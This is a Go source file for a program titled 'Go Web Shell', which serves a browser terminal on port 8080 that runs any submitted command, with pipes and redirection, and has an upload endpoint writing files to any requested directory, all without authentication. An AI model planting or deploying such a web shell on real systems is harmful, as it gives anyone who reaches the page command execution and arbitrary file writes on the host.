452 lines
10 KiB
Go
452 lines
10 KiB
Go
package main
|
|
|
|
import (
|
|
// "bytes"
|
|
"bufio"
|
|
"bytes"
|
|
"fmt"
|
|
"html/template"
|
|
"io"
|
|
"net/http"
|
|
"os"
|
|
"os/exec"
|
|
"os/user"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
type PageData struct {
|
|
CurrentDir string
|
|
CurrentUsername string
|
|
CommandLog []CommandOutput
|
|
}
|
|
|
|
type CommandOutput struct {
|
|
Command string
|
|
Output string
|
|
Error string
|
|
}
|
|
|
|
var commandLog []CommandOutput
|
|
|
|
func executeCommand(command string, args []string, dir string) (string, error) {
|
|
cmd := exec.Command(command, args...)
|
|
cmd.Dir = dir
|
|
output, err := cmd.CombinedOutput()
|
|
return string(output), err
|
|
}
|
|
|
|
func executeSimpleCommand(command string, currentDir string) CommandOutput {
|
|
var cmdOutput CommandOutput
|
|
// args := strings.Fields(command)
|
|
args := parseCommandWithQuotes(command)
|
|
if len(args) == 0 {
|
|
return cmdOutput
|
|
}
|
|
|
|
cmd := exec.Command(args[0], args[1:]...)
|
|
cmd.Dir = currentDir
|
|
output, err := cmd.CombinedOutput()
|
|
cmdOutput.Command = command
|
|
cmdOutput.Output = string(output)
|
|
if err != nil {
|
|
cmdOutput.Error = err.Error()
|
|
}
|
|
return cmdOutput
|
|
}
|
|
|
|
func changeDirectory(command string, args []string, currentDir *string) CommandOutput {
|
|
var cmdOutput CommandOutput
|
|
|
|
if len(args) == 0 {
|
|
homeDir, _ := os.UserHomeDir()
|
|
err := os.Chdir(homeDir)
|
|
if err != nil {
|
|
cmdOutput = CommandOutput {
|
|
Command: command,
|
|
Error: "Failed to change to home directory: " + err.Error(),
|
|
}
|
|
} else {
|
|
cmdOutput = CommandOutput {
|
|
Command: command,
|
|
Output: "Changed to home directory: " + homeDir,
|
|
}
|
|
*currentDir = homeDir
|
|
}
|
|
} else {
|
|
newDir := args[0]
|
|
err := os.Chdir(newDir)
|
|
if err != nil {
|
|
cmdOutput = CommandOutput {
|
|
Command: command + " " + newDir,
|
|
Error: "Failed to change to directory: " + err.Error(),
|
|
}
|
|
} else {
|
|
cmdOutput = CommandOutput {
|
|
Command: command + " " + newDir,
|
|
Output: "Changed to directory: " + newDir,
|
|
}
|
|
*currentDir = newDir
|
|
}
|
|
}
|
|
return cmdOutput
|
|
}
|
|
|
|
func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method == http.MethodPost {
|
|
file, header, err := r.FormFile("file")
|
|
if err != nil {
|
|
http.Error(w, "Failed to upload file", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
defer file.Close()
|
|
|
|
uploadDir := r.FormValue("uploadDir")
|
|
if uploadDir == "" {
|
|
uploadDir = "./"
|
|
}
|
|
|
|
out, err := os.Create(filepath.Join(uploadDir, header.Filename))
|
|
if err != nil {
|
|
http.Error(w, "Failed to save file", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
defer out.Close()
|
|
|
|
_, err = io.Copy(out, file)
|
|
if err != nil {
|
|
http.Error(w, "Failed to write file", http.StatusInternalServerError)
|
|
return
|
|
}
|
|
fmt.Fprintf(w, "File %s uploaded successfully to %s", header.Filename, uploadDir)
|
|
}
|
|
}
|
|
|
|
////////////////////////////////////////////////////////////////////////////////
|
|
//
|
|
// Command redirection and Piping
|
|
//
|
|
////////////////////////////////////////////////////////////////////////////////
|
|
|
|
func processCommand(command string, currentDir string) CommandOutput {
|
|
if strings.Contains(command, "|") {
|
|
return executeCommandWithPipe(command, currentDir)
|
|
} else if strings.Contains(command, ">") {
|
|
return handleOutputRedirection(command, currentDir)
|
|
} else if strings.Contains(command, "<") {
|
|
return handleInputRedirection(command, currentDir)
|
|
}
|
|
|
|
return executeSimpleCommand(command, currentDir)
|
|
}
|
|
|
|
// Handle output redirection which is '>'
|
|
func handleOutputRedirection(command string, currentDir string) CommandOutput {
|
|
var cmdOutput CommandOutput
|
|
|
|
parts := strings.SplitN(command, ">", 2)
|
|
// parts := strings.Split(command, ">")
|
|
cmdStr := strings.TrimSpace(parts[0])
|
|
outputFile := strings.TrimSpace(parts[1])
|
|
|
|
// cmdParts := strings.Fields(cmdStr)
|
|
cmdParts := parseCommandWithQuotes(cmdStr)
|
|
if len(cmdParts) == 0 {
|
|
return cmdOutput
|
|
}
|
|
|
|
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
|
|
cmd.Dir = currentDir
|
|
|
|
file, err := os.Create(outputFile)
|
|
if err != nil {
|
|
cmdOutput.Error = fmt.Sprintf("Error creating output file: %v", err)
|
|
return cmdOutput
|
|
}
|
|
defer file.Close()
|
|
|
|
cmd.Stdout = file
|
|
cmd.Stderr = file
|
|
|
|
err = cmd.Run()
|
|
if err != nil {
|
|
cmdOutput.Error = fmt.Sprintf("Error executing command: %v", err)
|
|
}
|
|
|
|
cmdOutput.Command = command
|
|
return cmdOutput
|
|
|
|
}
|
|
|
|
func handleInputRedirection(command string, currentDir string) CommandOutput {
|
|
var cmdOutput CommandOutput
|
|
|
|
// parts := strings.Split(command, "<")
|
|
parts := strings.SplitN(command, "<", 2)
|
|
cmdStr := strings.TrimSpace(parts[0])
|
|
inputFile := strings.TrimSpace(parts[1])
|
|
|
|
cmdParts := parseCommandWithQuotes(cmdStr)
|
|
if len(cmdParts) == 0 {
|
|
return cmdOutput
|
|
}
|
|
|
|
cmd := exec.Command(cmdParts[0], cmdParts[1:]...)
|
|
cmd.Dir = currentDir
|
|
|
|
file, err := os.Open(inputFile)
|
|
if err != nil {
|
|
cmdOutput.Error = fmt.Sprintf("Error opening input file: %v", err)
|
|
return cmdOutput
|
|
}
|
|
defer file.Close()
|
|
|
|
cmd.Stdin = file
|
|
output, err := cmd.CombinedOutput()
|
|
cmdOutput.Output = string(output)
|
|
if err != nil {
|
|
cmdOutput.Error = err.Error()
|
|
}
|
|
|
|
cmdOutput.Command = command
|
|
return cmdOutput
|
|
}
|
|
|
|
func executeCommandWithPipe(command string, currentDir string) CommandOutput {
|
|
var cmdOutput CommandOutput
|
|
cmdOutput.Command = command
|
|
|
|
pipeCommands := strings.Split(command, "|")
|
|
var prevOutput []byte
|
|
|
|
for i, cmdPart := range pipeCommands {
|
|
cmdPart = strings.TrimSpace(cmdPart)
|
|
args := parseCommandWithQuotes(cmdPart)
|
|
if len(args) == 0 {
|
|
continue
|
|
}
|
|
|
|
cmd := exec.Command(args[0], args[1:]...)
|
|
cmd.Dir = currentDir
|
|
|
|
if i > 0 {
|
|
cmd.Stdin = strings.NewReader(string(prevOutput))
|
|
}
|
|
|
|
var outputBuffer strings.Builder
|
|
cmd.Stdout = &outputBuffer
|
|
cmd.Stderr = &outputBuffer
|
|
|
|
err := cmd.Run()
|
|
if err != nil {
|
|
cmdOutput.Error = fmt.Sprintf("Error executing command '%s': %v", cmdPart, err)
|
|
return cmdOutput
|
|
}
|
|
|
|
// Store the output for the next pipe stage
|
|
prevOutput = []byte(outputBuffer.String())
|
|
}
|
|
|
|
// Final output from the last command in the pipe
|
|
cmdOutput.Output = string(prevOutput)
|
|
return cmdOutput
|
|
|
|
}
|
|
|
|
func splitCommand(input string) []string {
|
|
scanner := bufio.NewScanner(strings.NewReader(input))
|
|
scanner.Split(bufio.ScanWords)
|
|
|
|
var parts []string
|
|
var buffer bytes.Buffer
|
|
inQuotes := false
|
|
quoteChar := rune(0)
|
|
|
|
for scanner.Scan() {
|
|
token := scanner.Text()
|
|
if inQuotes {
|
|
buffer.WriteString(" ")
|
|
buffer.WriteString(token)
|
|
if strings.HasSuffix(token, string(quoteChar)) {
|
|
inQuotes = false
|
|
parts = append(parts, strings.Trim(buffer.String(), `"'`))
|
|
buffer.Reset()
|
|
}
|
|
} else {
|
|
if strings.HasPrefix(token, `"`) || strings.HasPrefix(token, `'`) {
|
|
inQuotes = true
|
|
quoteChar = rune(token[0])
|
|
buffer.WriteString(token)
|
|
} else {
|
|
parts = append(parts, token)
|
|
}
|
|
}
|
|
}
|
|
|
|
if buffer.Len() > 0 {
|
|
parts = append(parts, buffer.String())
|
|
}
|
|
|
|
return parts
|
|
}
|
|
|
|
func parseCommandWithQuotes(command string) []string {
|
|
var args []string
|
|
var current strings.Builder
|
|
inSingleQuote, inDoubleQuote := false, false
|
|
|
|
for i := 0; i < len(command); i++ {
|
|
c := command[i]
|
|
|
|
switch c {
|
|
case '\'':
|
|
if !inDoubleQuote {
|
|
inSingleQuote = !inSingleQuote
|
|
continue
|
|
}
|
|
case '"':
|
|
if !inSingleQuote {
|
|
inDoubleQuote = !inDoubleQuote
|
|
continue
|
|
}
|
|
case ' ':
|
|
if !inSingleQuote && !inDoubleQuote {
|
|
if current.Len() > 0 {
|
|
args = append(args, current.String())
|
|
current.Reset()
|
|
}
|
|
continue
|
|
}
|
|
case '\\':
|
|
// Handle escaped characters
|
|
if i+1 < len(command) {
|
|
next := command[i+1]
|
|
if next == '"' || next == '\'' || next == '\\' {
|
|
current.WriteByte(next)
|
|
i++
|
|
continue
|
|
}
|
|
}
|
|
}
|
|
|
|
current.WriteByte(c)
|
|
}
|
|
|
|
// Add the last argument
|
|
if current.Len() > 0 {
|
|
args = append(args, current.String())
|
|
}
|
|
|
|
return args
|
|
}
|
|
|
|
func handler(w http.ResponseWriter, r *http.Request) {
|
|
currentDir, _ := os.Getwd()
|
|
currentUser, _ := user.Current()
|
|
currentUsername := currentUser.Username
|
|
|
|
if r.Method == http.MethodPost {
|
|
input := r.FormValue("command")
|
|
parts := strings.Fields(input)
|
|
if len(parts) > 0 {
|
|
command := parts[0]
|
|
args := parts[1:]
|
|
if command == "cd" {
|
|
cmdOutput := changeDirectory(command, args, ¤tDir)
|
|
commandLog = append(commandLog, cmdOutput)
|
|
} else {
|
|
cmdOutput := processCommand(input, currentDir)
|
|
commandLog = append(commandLog, cmdOutput)
|
|
}
|
|
}
|
|
}
|
|
|
|
tmpl := template.Must(template.New("index").Parse(`
|
|
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Go Web Shell</title>
|
|
<style>
|
|
body {
|
|
background-color: #222;
|
|
color: #eee;
|
|
font-family: monospace;
|
|
font-size: 14pt;
|
|
margin: 0;
|
|
padding: 0;
|
|
height: 100vh;
|
|
display: flex;
|
|
flex-direction: column;
|
|
}
|
|
#terminal {
|
|
flex: 1;
|
|
padding: 12px;
|
|
overflow-y: auto;
|
|
white-space: pre-wrap;
|
|
border: none;
|
|
margin: 10px;
|
|
display: flex;
|
|
flex-direction: column;
|
|
}
|
|
input {
|
|
font-size: 14pt;
|
|
background: #222;
|
|
color: #eee;
|
|
border: none;
|
|
width: 80%;
|
|
font-family: monospace;
|
|
}
|
|
input:focus {
|
|
outline: none;
|
|
}
|
|
span.command {
|
|
color: #75df0b;
|
|
}
|
|
span.error {
|
|
color: #ff5555;
|
|
}
|
|
span.directory {
|
|
color: #1bc9e7;
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div id="terminal">
|
|
<span>Current Directory: {{.CurrentDir}}</span>
|
|
{{range .CommandLog}}
|
|
<div><span class="command">gommand:$ {{.Command}}</span></div>
|
|
{{if .Output}}
|
|
<div>{{.Output}}</div>
|
|
{{end}}
|
|
{{if .Error}}
|
|
<div class="error">{{.Error}}</div>
|
|
{{end}}
|
|
{{end}}
|
|
<form method="POST" autocomplete="off">
|
|
<div style="display: flex; align-items: center;">
|
|
<span class="command">{{.CurrentUsername}}:<span class="directory">{{.CurrentDir}}</span>$ </span>
|
|
<input type="text" name="command" placeholder="Type a command here..." autofocus required>
|
|
</div>
|
|
</form>
|
|
</div>
|
|
</body>
|
|
</html>
|
|
`))
|
|
|
|
data := PageData{
|
|
CurrentDir: currentDir,
|
|
CurrentUsername: currentUsername,
|
|
CommandLog: commandLog,
|
|
}
|
|
tmpl.Execute(w, data)
|
|
}
|
|
|
|
func main() {
|
|
http.HandleFunc("/", handler)
|
|
http.HandleFunc("/upload", fileUploadHandler)
|
|
fmt.Println("Starting server on :8080")
|
|
http.ListenAndServe(":8080", nil)
|
|
}
|